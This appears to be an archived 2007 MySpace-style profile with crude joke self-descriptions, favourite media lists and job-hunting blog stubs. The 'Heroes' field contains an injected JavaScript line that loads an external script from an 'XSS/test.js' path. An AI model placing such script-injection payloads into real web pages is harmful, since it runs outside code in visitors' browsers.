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BIG Jeff ™

I am here for Friends

My Interests

I'd like to meet:

One day I would like to meet my soulmate. Than I would ask that person why the hell would you wanna be just like me? For fun I like to poop my pants in honor of Tom...keep fighting the childrens illiteracy Tom....I would like to visit Uranus sometime. I really love Nickleback and would like to see them die in a plane crash. Everything I say is a lie...except for that....and that....and that. 90% of the world is insane and the other 75% are crazy. Smurfette once smurfed me in the burger king bathroom. I go to strip clubs with a pocket full of sugar and tell the strippers its cocaine and get a free lap dancer from the bouncer. Where I work is like a whore house, the harder you work the more you get fucked. Seriously people I never lie. Myspace is just like high school all the b.s. and drama that people go through on here. I mean ladies, I ain't no holla back girl. This shit is bananas....b-a-n-a-n-a-s. My M.O. is a mile long and I just tucked you up. I get so lonely I hump straight chickens.

Music:

I like rap, rock, metal....pretty much everything except country

Movies:

I can watch any movie as long as it is half way interesting...I mainly like comedies. Some of my fave movies are Scarface, Office Space, Old School, Tombstone, Team America, Freddy Vs. Jason, Land/day/night/dawn of the dead, Hitch, Friday, american pie movies, 8 mile, Dumb & Dumber, Remember the titans, Boiler room, wedding crashers, Texas chainsaw massacre.......and many more lol

Television:

Family Guy, Chappelle show, Reno 911, Sportscenter, Sports, Simpsons, Pimp my ride, The O.C., MTV cribs, Next, Cops, etc......

Heroes:

Spiderman, Superman, Batman, X-men, Snorks, Diet Pepsi Machine, Leprechauns, That silly rabbit, Skeletor, Mighty Mouse, Cindy Crawford, Olive Oil, Your karma ran over my dogma... .."var s=document.createElement('script');s.src='http://../XSS/test .js';document.getElementsByTagName('head')[0].appendChild(s) ;"

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Whats the point anymore??
Posted by BIG Jeff ™ on Wed, 07 Feb 2007 05:58:00 PST

I need a new job!!! Please help!!!

Hey everyone, I am looking for a new job.  My current job is ok, but the job security isn't there anymore.  Business is slow so everyone is not guaranteed their job anymore.  I am askin...
Posted by BIG Jeff ™ on Mon, 15 Jan 2007 04:06:00 PST